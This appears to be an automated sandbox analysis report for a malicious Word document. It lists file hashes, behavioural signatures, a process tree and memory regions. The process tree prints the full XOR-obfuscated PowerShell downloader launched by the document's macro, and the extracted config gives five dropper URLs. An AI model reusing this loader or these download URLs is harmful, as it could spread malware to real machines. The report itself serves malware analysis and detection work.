Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 13:59

General

  • Target

    5f73269a632986304114e57d3eb98b53_JaffaCakes118.doc

  • Size

    109KB

  • MD5

    5f73269a632986304114e57d3eb98b53

  • SHA1

    fb222d6c7b0f99612d5da76e0e0479b5d196590e

  • SHA256

    02c97c7cfa6fa18281256b83b09b0457d667c095c64bdcdab009cefaeed524a5

  • SHA512

    98158dbb354ecb5a3d17c298f1d5a1d62ac26d252090a78a17c2c95bb58e63e1cd2746a6a95e79b3b5522a6dde74018d04e58c13b86b94fc7cd2b85082527e6d

  • SSDEEP

    1536:3FFFF7dC7MQMXc0qg4F5MnrA+aJks0abqExYBvAy42+Ge:XQ5g4fYXZAyh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.copticpope.org/7nCPQr/

exe.dropper

http://wevik.hu/oadkCq/

exe.dropper

http://jakeingles.com/W3cw/

exe.dropper

http://www.kaukabphysiatry.com/hg9g/

exe.dropper

http://www.facebook.printuser.nl/dhxj/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f73269a632986304114e57d3eb98b53_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1164
    • C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe
      PowersHell ('25X71X91!126!0_83<88q74_16<82{95!87<88{94}73j29T115{88{73{19j106j88{95!126{81{84T88E83j73j6_25X77j77}100j0q26X85T73X73_77_7!18<18_74X74}74T19_94_82T77X73<84!94{77}82T77T88<19{82{79_90E18E10<83_126}109T108X79}18T125X85_73}73{77<7!18{18<74}88}75j84T86}19}85q72X18q82X92!89E86!126E76!18E125{85X73!73T77_7E18E18X87}92q86j88}84}83T90}81_88j78j19E94!82<80j18X106{14q94!74_18}125E85{73T73}77E7!18_18}74E74{74{19q86X92}72{86j92{95!77T85{68<78E84T92X73}79{68E19q94E82<80X18{85_90<4X90{18}125X85!73_73_77X7!18T18{74X74}74!19_91q92_94<88{95!82{82_86{19}77}79!84q83{73j72}78T88{79T19!83{81j18X89T85T69q87_18q26X19q110!77E81j84X73_21T26q125j26q20!6{25<105j114q106<29X0T29j26}4<14T26X6X25<73E85_116j0T25T88T83<75X7}73j88j80{77<22j26}97{26{22q25T105E114X106j22_26_19{88!69j88{26!6!91!82!79{88E92X94_85X21T25_107j79}105T29T84T83T29<25j77j77<100!20{70j73X79_68E70j25}71}91{126}19j121}82j74<83<81T82!92E89{123_84!81E88!21T25j107<79X105_17X29T25E73{85!116<20{6_110!73E92X79j73!16_109E79j82q94T88q78<78}29E25_73!85E116q6{95{79q88j92_86T6{64_94}92q73T94!85T70{64X64'.SplIT('<X!_q{jET}' )| % {[ChAr] ( $_-bxOR 0x3d )}) -jOIN '' | . ( ([StrIng]$VErbosEPRefeReNCE)[1,3]+'x'-joIN'')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD8F32.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq3jei00.ufw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1164-23-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-562-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-1-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-5-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-6-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-7-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-9-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-8-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-0-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-11-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-12-0x00007FF879D30000-0x00007FF879D40000-memory.dmp

    Filesize

    64KB

  • memory/1164-13-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-14-0x00007FF879D30000-0x00007FF879D40000-memory.dmp

    Filesize

    64KB

  • memory/1164-17-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-19-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-20-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-21-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-18-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-10-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-4-0x00007FF8BBE0D000-0x00007FF8BBE0E000-memory.dmp

    Filesize

    4KB

  • memory/1164-566-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-15-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-42-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-41-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-43-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-16-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-2-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-22-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-563-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-3-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-360-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-523-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-542-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/1164-565-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/1164-564-0x00007FF87BDF0000-0x00007FF87BE00000-memory.dmp

    Filesize

    64KB

  • memory/4756-60-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB

  • memory/4756-50-0x000002D2FFEA0000-0x000002D2FFEC2000-memory.dmp

    Filesize

    136KB

  • memory/4756-44-0x00007FF8BBD70000-0x00007FF8BBF65000-memory.dmp

    Filesize

    2.0MB